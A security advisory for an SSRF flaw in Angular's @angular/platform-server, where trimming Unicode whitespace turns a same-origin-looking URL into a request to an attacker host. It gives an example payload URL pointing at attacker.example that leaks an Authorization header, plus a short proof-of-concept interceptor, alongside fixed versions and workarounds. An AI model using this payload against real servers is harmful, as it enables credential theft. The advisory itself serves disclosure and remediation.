GHSA-f6mr-pjwc-34m4: SSRF

Published Sep 10, 2026
·
Updated

Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.

Technical Description When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.

However, @angular/platform-server's URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript's String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.

Impact & Reachability Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's HttpClient, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests. Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.

Proof of Concept: ts // Interceptor performing same-origin validation const trustedOrigin = new URL('http://localhost:4000/'); const target = new URL(req.urlWithParams, trustedOrigin);

if (target.origin !== trustedOrigin.origin) { throw new Error('Cross-origin request blocked'); }

// Request passes validation, server attaches sensitive credential: const authenticatedReq = req.clone({ headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'), });

// @angular/platform-server previously trimmed the URL, converting it into // //attacker.example/collect and routing the credential to the attacker.

Workarounds Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as \u00A0) before performing origin checks or passing them to HttpClient. Avoid relying solely on new URL(input, trustedOrigin).origin for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.

Affected Software

4 affected componentsFixes available
npm/@angular/platform-server<=19.2.25
npm/@angular/platform-server>=20.0.0<20.3.30
20.3.30
npm/@angular/platform-server>=21.0.0<21.2.22
21.2.22
npm/@angular/platform-server>=22.0.0<22.1.4
22.1.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@angular/platform-server to a version that resolves this vulnerability.

    Fixed in 20.3.30
  2. Upgrade

    Upgrade npm/@angular/platform-server to a version that resolves this vulnerability.

    Fixed in 21.2.22
  3. Upgrade

    Upgrade npm/@angular/platform-server to a version that resolves this vulnerability.

    Fixed in 22.1.4
  4. Configuration

    Before constructing a URL for same-origin validation (e.g., before `new URL(input, trustedOrigin)` and before dispatch via Angular `HttpClient` on the server), validate/sanitize the input URL to reject any leading Unicode whitespace such as `\u00A0` (NO-BREAK SPACE) and `\uFEFF` (ZERO WIDTH NO-BREAK SPACE). Do not rely solely on origin checks that assume input is normalized like `String.prototype.trim()`.

    Angular SSR (@angular/platform-server) / application URL validation URL origin check input handling = Disallow leading Unicode whitespace characters (e.g., U+00A0 NO-BREAK SPACE and U+FEFF ZERO WIDTH NO-BREAK SPACE) before performing origin checks or passing URLs to HttpClient
  5. Configuration

    When authorizing/validating SSR request URLs, do not rely solely on `new URL(input, trustedOrigin).origin` if `input` can be trimmed or otherwise processed by utilities that normalize whitespace differently from the WHATWG URL standard. Ensure the same normalization/sanitization behavior is applied before both the origin check and the server-side URL resolution (`resolveUrl` / `parseUrl`).

    Angular SSR application / request URL construction URL parsing/normalization approach = Avoid relying solely on `new URL(input, trustedOrigin).origin` if `input` may be trimmed/processed by utilities that normalize whitespace differently

Event History

Sep 10, 2026
Advisory Published
via GitHub·08:19 PM
Data Sourced
via GitHub·08:19 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which applications are exposed to this issue?

Applications using Angular server-side rendering may be exposed when they validate incoming URLs with WHATWG URL parsing and a same-origin check, then pass those URLs to Angular platform-server URL resolution. The affected flow includes server-side requests resolved during rendering, such as through relativeUrlsTransformerInterceptorFn.

2

What does an attacker need to exploit it?

An attacker needs to influence a URL that the application treats as same-origin after validating it with new URL(input, trustedOrigin). They can use leading Unicode whitespace, such as U+00A0 or U+FEFF, before a protocol-relative attacker-controlled URL so that Angular's trimming changes how the URL is resolved.

3

How can teams assess whether their application is affected?

Review SSR code paths that accept externally influenced URLs, validate them with new URL(input, trustedOrigin), and later use them in Angular platform-server rendering or HTTP request resolution. Test whether a value containing Unicode whitespace followed by a protocol-relative URL passes the application's same-origin validation but results in a request to a different origin during SSR.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203